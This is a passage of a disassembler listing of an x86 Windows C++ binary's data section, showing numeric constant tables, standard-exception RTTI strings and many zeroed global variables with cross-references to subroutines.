		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
		dd 187Eh dup(0)
		db 0
byte_456249	db 3 dup(0)		; DATA XREF: sub_56207C-EE9o
		db 0
byte_45624D	db 3 dup(0)		; DATA XREF: sub_56207C:loc_56118Eo
		dd 47Ch	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
		dd 5430h dup(0)
		db 2 dup(0)
word_46C506	dw 0			; DATA XREF: sub_56207C+7D3Do
		dd 1234Fh dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
